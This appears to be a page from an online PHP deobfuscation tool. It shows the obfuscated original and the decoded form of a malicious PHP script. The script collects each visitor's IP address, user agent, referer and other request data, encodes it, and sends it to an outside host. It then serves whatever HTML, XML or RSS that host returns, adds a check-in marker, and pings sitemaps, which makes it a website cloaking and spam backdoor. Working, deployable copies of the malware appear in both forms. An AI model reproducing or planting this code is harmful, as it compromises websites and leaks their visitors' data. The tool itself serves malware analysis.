Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErROr_rEPoRtING((int)RouND(0+0));HEadEr("Con\x74e\x6et\055\124y\x70e: \164\x65\x78..
Decoded Output download
<?php
ErROr_rEPoRtING((int)RouND(0+0));HEadEr("Content-Type: text/html; charset=utf-8");$_alizx=BaSe64_ENCodE(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_jufrrq=BasE64_enCode(@$_SERVER["REQUEST_URI"]);$_rhckpjre=@$_SERVER["HTTP_HOST"];$_djtmzt=baSE64_eNCoDe(@$_SERVER["HTTP_USER_AGENT"]);$_cwxxzgp=base64_EncodE(@$_SERVER["HTTP_REFERER"]);$_dkbojfwu=baSE64_EncoDe(@$_SERVER["REMOTE_ADDR"]);$_arrwlcy=baSe64_ENCoDE(daTE_defaUlt_TiMezoNe_Get());$_zuvuj=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https"))?"https://":"http://";$_prjtuwzz="https://fgx326.ironfree.top";$_gjfsk=BASE64_ENcOde($_zuvuj.$_rhckpjre);$_tkgnpz=$_prjtuwzz."/index.php?domain=".$_gjfsk."&uri=".$_jufrrq."&lan=".$_alizx."&agent=".$_djtmzt."&zone=".$_arrwlcy."&ip=".$_dkbojfwu."&goweb=".$_prjtuwzz."&referer=".$_cwxxzgp;$_npava=_gmdgkdu($_tkgnpz);if(STriPOs($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_rhckpjre.":cs326-ok;";exit();}if(StRsTr($_npava,"[#*#*#]")){$_cttqtot=eXPloDe("[#*#*#]",$_npava);if($_cttqtot[(int)ROuND(0+0)]=="echohtml"){echo$_cttqtot[(int)rOUnD(0.33333333333333+0.33333333333333+0.33333333333333)];exit;}if($_cttqtot[(int)RounD(123+123+123+123)+(int)ROunD(233+233)+(int)ROund(146.66666666667+146.66666666667+146.66666666667)+(int)RoUND(-699+-699)]=="echoxml"){heAdeR("Content-type: text/xml");echo$_cttqtot[(-0261+-0536)+(-01707+01201)+(01701-02004+02307+-0456)];exit;}if($_cttqtot[(int)rounD(-17+-17+-17)-(int)ROuND(-17+-17+-17)]=="echorss"){heADer("Content-type: text/xml");echo$_cttqtot[(int)roUND(0.5+0.5)];exit;}if($_cttqtot[(int)RouNd(52.75+52.75+52.75+52.75)-(int)round(105.5+105.5)]=="pingxml"){$_nqnzxxut=EXPLoDe("|||",$_cttqtot[(int)roUnD(0.25+0.25+0.25+0.25)]);foreach($_nqnzxxut as$_glaece){$_qpxmmjzp=_gmdgkdu($_glaece);$_fukdy=(StRpOS($_qpxmmjzp,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_glaece."===>Sitemap: ".$_fukdy."<br>";}exit;}}function _gmdgkdu($_aqmbfky){$_npava=@FiLE_GET_coNTENTS($_aqmbfky);if(!$_npava){$_puvw=curL_iNit();CURl_SETOpT($_puvw,(int)ROuNd(5003+5003)-(int)ROund(3296.3333333333+3296.3333333333+3296.3333333333)-(-022663- -023441- -022711+-046724),$_aqmbfky);curl_sEtOPT($_puvw,(int)RoUNd(40.5+40.5),(int)RoUnD(0+0));curl_SeToPt($_puvw,(0155-0143- -065)-(-01411+-0346+-01167+03145),(int)rOuND(0+0+0+0));cuRl_SEToPT($_puvw,(050065+-0152)+(-01066- -0442-0356),(int)rOUnD(0.5+0.5));$_npava=cuRl_exeC($_puvw);cUrl_clOSe($_puvw);}return$_npava;};
?>
Did this file decode correctly?
Original Code
<?php
ErROr_rEPoRtING((int)RouND(0+0));HEadEr("Con\x74e\x6et\055\124y\x70e: \164\x65\x78t\057\x68t\x6d\x6c;\040\143\x68\x61rset=\x75t\146-\x38");$_alizx=BaSe64_ENCodE(@$_SERVER["\110T\124P_AC\x43\105\120T\x5f\x4c\x41NG\x55A\107E"]);$_jufrrq=BasE64_enCode(@$_SERVER["REQ\x55E\123\124_\125R\111"]);$_rhckpjre=@$_SERVER["HTT\x50_\110\117S\x54"];$_djtmzt=baSE64_eNCoDe(@$_SERVER["HT\124P_\x55SER_\x41GENT"]);$_cwxxzgp=base64_EncodE(@$_SERVER["HTTP_\122\105\106\x45\122\x45\122"]);$_dkbojfwu=baSE64_EncoDe(@$_SERVER["R\105M\117\124E\137AD\104\x52"]);$_arrwlcy=baSe64_ENCoDE(daTE_defaUlt_TiMezoNe_Get());$_zuvuj=((isset($_SERVER["H\x54TPS"])&&$_SERVER["\x48T\124\x50\x53"]=="\157\156")||(isset($_SERVER["H\x54\124P_X\x5fF\117\x52\127A\122D\105D\x5f\x50\x52O\124\117"])&&$_SERVER["HTTP_\x58_FORW\101RDED_\120\122OTO"]=="h\164\x74\160s"))?"h\x74tps:/\x2f":"h\164\x74\160\x3a\x2f\057";$_prjtuwzz="\150\x74tps://fgx3\x326\x2eiron\146\x72ee\056\x74op";$_gjfsk=BASE64_ENcOde($_zuvuj.$_rhckpjre);$_tkgnpz=$_prjtuwzz."\x2f\x69\x6edex.ph\x70?doma\x69\156\075".$_gjfsk."&uri=".$_jufrrq."&\x6c\141n=".$_alizx."\046\141g\x65\x6e\164=".$_djtmzt."&\172\x6fne=".$_arrwlcy."\x26ip\075".$_dkbojfwu."&go\x77\x65b=".$_prjtuwzz."&re\x66\x65rer=".$_cwxxzgp;$_npava=_gmdgkdu($_tkgnpz);if(STriPOs($_SERVER["REQUES\124_\125R\111"],"jp2\0602\x33")!==false){echo$_rhckpjre.":cs326\055o\x6b\x3b";exit();}if(StRsTr($_npava,"[#*#\x2a#\x5d")){$_cttqtot=eXPloDe("[#*\x23*#\135",$_npava);if($_cttqtot[(int)ROuND(0+0)]=="\145\x63\150\x6fhtml"){echo$_cttqtot[(int)rOUnD(0.33333333333333+0.33333333333333+0.33333333333333)];exit;}if($_cttqtot[(int)RounD(123+123+123+123)+(int)ROunD(233+233)+(int)ROund(146.66666666667+146.66666666667+146.66666666667)+(int)RoUND(-699+-699)]=="\145\x63hoxml"){heAdeR("\x43on\164e\156t\055type: te\x78\164/x\x6dl");echo$_cttqtot[(-0261+-0536)+(-01707+01201)+(01701-02004+02307+-0456)];exit;}if($_cttqtot[(int)rounD(-17+-17+-17)-(int)ROuND(-17+-17+-17)]=="e\143hor\163\163"){heADer("Con\x74ent-\164ype: tex\x74/xml");echo$_cttqtot[(int)roUND(0.5+0.5)];exit;}if($_cttqtot[(int)RouNd(52.75+52.75+52.75+52.75)-(int)round(105.5+105.5)]=="\160in\x67\170\x6d\154"){$_nqnzxxut=EXPLoDe("\174||",$_cttqtot[(int)roUnD(0.25+0.25+0.25+0.25)]);foreach($_nqnzxxut as$_glaece){$_qpxmmjzp=_gmdgkdu($_glaece);$_fukdy=(StRpOS($_qpxmmjzp,"Si\164e\x6da\x70 \x4e\x6ft\151\x66i\143\x61ti\157n\x20\x52ec\x65ived")!==false)?"\117\113":"E\122ROR";echo$_glaece."=\x3d=>Si\x74\145\x6d\141\x70: ".$_fukdy."<\x62r>";}exit;}}function _gmdgkdu($_aqmbfky){$_npava=@FiLE_GET_coNTENTS($_aqmbfky);if(!$_npava){$_puvw=curL_iNit();CURl_SETOpT($_puvw,(int)ROuNd(5003+5003)-(int)ROund(3296.3333333333+3296.3333333333+3296.3333333333)-(-022663- -023441- -022711+-046724),$_aqmbfky);curl_sEtOPT($_puvw,(int)RoUNd(40.5+40.5),(int)RoUnD(0+0));curl_SeToPt($_puvw,(0155-0143- -065)-(-01411+-0346+-01167+03145),(int)rOuND(0+0+0+0));cuRl_SEToPT($_puvw,(050065+-0152)+(-01066- -0442-0356),(int)rOUnD(0.5+0.5));$_npava=cuRl_exeC($_puvw);cUrl_clOSe($_puvw);}return$_npava;};
Function Calls
RouND | 1 |
Stats
MD5 | bad668e061c5233bf9078435358c5574 |
Eval Count | 0 |
Decode Time | 87 ms |